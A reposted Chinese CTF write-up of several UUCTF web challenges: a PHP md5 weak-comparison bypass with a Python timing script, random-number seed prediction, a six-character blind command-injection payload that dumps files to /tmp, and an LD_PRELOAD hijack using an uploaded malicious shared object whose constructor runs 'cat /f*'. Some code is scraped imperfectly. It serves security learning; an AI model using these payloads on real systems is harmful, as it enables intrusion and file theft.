返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >UUCTF部分web题解
  • 799
分享到

UUCTF部分web题解

php开发语言ctfweb安全 2023-09-01 11:09:21 799人浏览 独家记忆
摘要

前言 这次比赛结束有一段时间了,在此总结一些当时没有做出来的WEB题解。也当是收集到一些学习经验。 funmd5(PHP代码审计) 打开题目,是一段php代码:

前言

这次比赛结束有一段时间了,在此总结一些当时没有做出来的WEB题解。也当是收集到一些学习经验。

funmd5(PHP代码审计)

打开题目,是一段php代码:

SSMd5=md5($time);$md5=$_GET["md5"];if(isset($md5)){    $sub=substr($time,-1);    $md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);    if(preg_match('/0e/',$md5[0])){        $md5[0]=substr($md5[0],$sub);        if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){            echo "well!you win again!now flag is yours.
"; echo $flag; } else{ echo $md5[0]; echo "oh!no!maybe you need learn more PHP!"; } } else{ echo "this is your md5:$md5[0]
"; echo "maybe you need more think think!"; }}else{ highlight_file(__FILE__); $sub=strlen($md5[0]); echo substr($guessmd5,0,5)."
"; echo "plase give me the md5!";}?>

当时困扰我的是数组的传参问题,现在也算是明白了。get传值,代码很容易读懂,看第一层限制:

$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);

不想0e被替换,那么用%0a换行绕过就行了,那么看第二层限制:

$time=time();$guessmd5=md5($time);$sub=substr($time,-1);$md5[0]=substr($md5[0],$sub);if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){

time函数返回时间戳,找一个字符串的md5值等于它本身,来满足第一个弱比较,但是在此之前会对md5[0]有一个截取操作,从哪截取与时间戳的最后一个数字有关,先不用管,看第二个满足条件,需要去强等时间戳的md5值,那么我们可以卡个满足条件的时间手动发包,但是比较考验手速,用python发包更加的稳。

import requestsimport hashlibimport timefor i in range(10000):times = str(int(time.time()))md5 = hashlib.md5(times.encode())md5value = md5.hexdigest()url = "Http://43.143.7.97:28023/index.php?md5[]=%0a%0d0e215962017&md5[1]={}".fORMat(md5value)res = requests.get(url=url)if "NSS" in res.text:print(res.text)break

也是很快得出flag了。

phonecode(随机数预测)

知道考预测随机数,但是不知道怎么解题。题目中给的hint是由我们提交的phone控制的,就用它给的hint来爆破随机数种子,并且在code那里填写下一个随机数就可以得到flag。但是我试了很多次,预测出的随机数都得不出flag,看了别的师傅写的wp,在phone提交12345678909后返回的随机数来预测下一个随机数才能得到flag。 why?

题目中的php版本为7.2,所以用最后一个随机数种子预测出随机数,

 

最后提交预测的随机数就得出flag了。

ezrce(六字符无回显rce)

打开题目是一个命令执行接口,

 

限制了输入的字符最多为六个并且无回显,常规思路就是将命令执行结果写入文件,这一题比较坑的就是你命令执行成功了给你回显命令执行失败。并且写入的文件在tmp目录下。我们输入命令

ls />a

 访问tmp目录下的a文件

尝试构造命令nl /*>a,这是七个字符。还有个更巧妙的方法,创建一个名为nl的文件,再用*将文件名当作命令执行。payload为

>nl* /*>a

 访问/tmp/a,成功得到flag。

uploadandinject(恶意so文件加载)

打开题目先信息收集,题目提示访问hint.php,

提示我们有index.php的swp文件泄露,在url访问.index.php.swp,(做题时前面没加点,一直访问错误)访问url下载好文件打开是有乱码的,所以我们得用vim来打开它,使用命令:

vim -r index.php.swp

 

 重点代码:

putenv("LD_PRELOAD=/var/www/html/https://blog.csdn.net/m0_62422842/article/details/$img_path");

它会将LD_PRELOAD环境变量指向我们可控的文件路径,一看见这个LD_PRELOAD环境变量,肯定就会想到让它来加载恶意so文件劫持函数执行命令。那么我们能够找到一个上传点去上传我们构造的恶意so代码,dirsearch扫一下目录,发现上传点upload/upload.php,

白名单限制,直接上传木马是不现实的,我们上传恶意so文件更改后缀名为jpg,对后续的加载是无影响的,但目前来说,还有一个点。一般情况来说,我们还需要再上传一个php文件,来让它调用mail这样的函数来开启一个新的进程,应为启动一个新的进程的时候,会去加载LD_PRELOAD指向的恶意so文件。很显然,上传点是上传不了php文件的,看了别的师傅写的wp,源代码中的

echo "
"

 这一句代码可以触发加载so文件(具体原因不明),那么说到这里,所有条件就满足,这里直接编写网上最流行通杀恶意c代码,

#define _GNU_SOURCE#include #include #include __attribute__ ((__constructor__)) void payload (void){    unsetenv("LD_PRELOAD");    system("cat /f*");}

使用命令将c文件加载为so文件:

GCc -shared -fPIC hacker.c -o hacker.so

接下来就上传so文件然后加载它就能执行system命令进而得出flag。

来源地址:https://blog.csdn.net/m0_62422842/article/details/127709222

--结束END--

本文标题: UUCTF部分web题解

本文链接: https://lsjlt.com/news/388259.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • UUCTF部分web题解
    前言 这次比赛结束有一段时间了,在此总结一些当时没有做出来的web题解。也当是收集到一些学习经验。 funmd5(php代码审计) 打开题目,是一段php代码: 当时困扰我的是数组的传参问题,现在也算是明白了。get传值,代码很容易读懂,...
    99+
    2023-09-01
    php 开发语言 ctf web安全
  • [GDOUCTF 2023] 部分web题解
    目录 hate eat snake EZ WEB 受不了一点 泄露的伪装 hate eat snake 打开页面,是一个贪吃蛇游戏 打了两把结束后点取消发现卡在下一次隔40s开始按空格键就可以得到flag(也可以找js文件更改sco...
    99+
    2023-10-12
    flask php 经验分享
  • 2022 SWPU新生赛&HNCTF web部分题目
    目录 SWPU (1) webdog1__start (2) ez_ez_php(revenge) (3) 1z_unserialize (4) ez_1zpop (5) numgame (6) Crypto 爆破MD5 HNCTF [...
    99+
    2023-09-09
    php web安全
  • CTFSHOW 年CTF(web部分)
    除夕 科学计数法绕过 payload year=202.2e1 初三 考的变量覆盖。 首先来看下这个函数 $_=function($__,$___){ return $__==$___$___:...
    99+
    2023-09-05
    php 开发语言
  • Web Shell 简介(Web Shell 第 1 部分)
    多通宵写文章,额不会编了 目录 前言持久远程访问特权升级发动攻击僵尸Web Shells 101 使用 PHP(Web Shells 第 2 部分)系统执行shell_exec直通反引号...
    99+
    2023-09-17
    php 网络 安全
  • DASCTF2022 ——十月赛 Web 部分Writeup
    EasyPOP 题目环境是 php 7.4, 图省事直接把所有属性的类型都改成 public 起点是 sorry 类的 __destruct(), 由 echo $this->hint 调用到 show 类的 __toString() ...
    99+
    2023-10-09
    前端 php 服务器 数据库 开发语言
  • web前端包括哪些部分
    本篇内容主要讲解“web前端包括哪些部分”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“web前端包括哪些部分”吧! web前端的三个...
    99+
    2024-04-02
  • SWPUCTF 2022新生赛 web部分wp
    😋大家好,我是YAy_17,是一枚爱好网安的小白。 本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️。⭐️此后如竟没有炬火,我便是唯一的光。⭐️ 目录 [SWPUCTF 2022 新生赛]ez_ez...
    99+
    2023-09-06
    前端 php 服务器 学习 安全
  • 分析web缓冲问题
    这篇文章主要介绍“分析web缓冲问题”,在日常操作中,相信很多人在分析web缓冲问题问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”分析web缓冲问题”的疑惑有所帮助!接下来,...
    99+
    2024-04-02
  • 如何解决PHP部分乱码问题
    乱码是在Web开发过程中常见的问题之一,特别是在PHP编程中。如果您在PHP页面上看到了乱码,您可以采取一些方法来解决这个问题,这篇文章会详细介绍如何解决PHP部分乱码问题。什么是乱码?乱码是指在HTTP请求和响应中传递的数据中包含了无法被...
    99+
    2023-05-14
    php 乱码
  • 怎么解决PHP部分乱码问题
    本篇内容主要讲解“怎么解决PHP部分乱码问题”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“怎么解决PHP部分乱码问题”吧!什么是乱码?乱码是指在HTTP请求和响应中传递的数据中包含了无法被Web...
    99+
    2023-07-05
  • 分享web前端面试题
    这篇文章主要讲解了“分享web前端面试题”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“分享web前端面试题”吧!页面导入样式时,使用link和@import...
    99+
    2024-04-02
  • 解决@RequestBody部分属性丢失的问题
    目录@RequestBody部分属性丢失问题描述JavaBean实现Controller实现postman接口请求展示结论springboot @RequestBody注入属性为空对...
    99+
    2024-04-02
  • 解锁ASP Web部署的奥秘:一文带你攻克难题
    1. 设置开发环境: 第一步是设置您的开发环境。您需要安装Visual Studio、ASP.NET和IIS。您还需要创建一个数据库,可以是SQL Server、MySQL或PostgreSQL。 2. 创建ASP.NET项目: 一旦您...
    99+
    2024-02-21
    ASP Web部署 ASP.NET IIS SQL Server Visual Studio
  • BUUCTF-练习场-WEB-第一部分(8道)
    [极客大挑战 2019]EasySQL 1 payload:1' or 1=1# '是闭合前面的查询语句,or 1=1恒成立,可以使用or句子绕过判断,#用于注释,注释后面的内容不再执...
    99+
    2023-09-21
    安全 网络 Powered by 金山文档
  • web前端面试题实例题目分析
    今天小编给大家分享一下web前端面试题实例题目分析的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。面试官:请你谈一下自适应(适...
    99+
    2023-07-05
  • 第一届创享杯 服务器部分题解
    第一届创享杯 服务器部分题解 检材分析 多个文件组成,可能为集群或者RAID阵列 只有server05 这个大的能解析,其他全部不能解析,考虑其他几个是raid阵列,raid阵列的特征是无法单独解...
    99+
    2023-09-25
    服务器 apache php 网络安全 linux
  • 攻防世界新手区部分web wp 2
    ddd 1.baby_web2.inget3.easyupload4.fileinclude5.fileclude 1.baby_web 2.inget 3.easyupload 4.fi...
    99+
    2023-09-02
    网络安全
  • 青少年CTF训练平台-WEB-部分wp
    这两天因为别人问了下题目.打开后,闲着没事,去做了两道题目。顺便发出来wp. 文章目录 Web签到easyuploadPHP的后门q1jun的小秘密新手的登录吃豆人F14G骑士CMS01...
    99+
    2023-10-04
    CTF 信息安全 职业技能 信息安全与评估 php
  • web前端面试题实例分析
    今天小编给大家分享一下web前端面试题实例分析的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。面试官:页面导入样式时,使用 l...
    99+
    2023-07-05
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作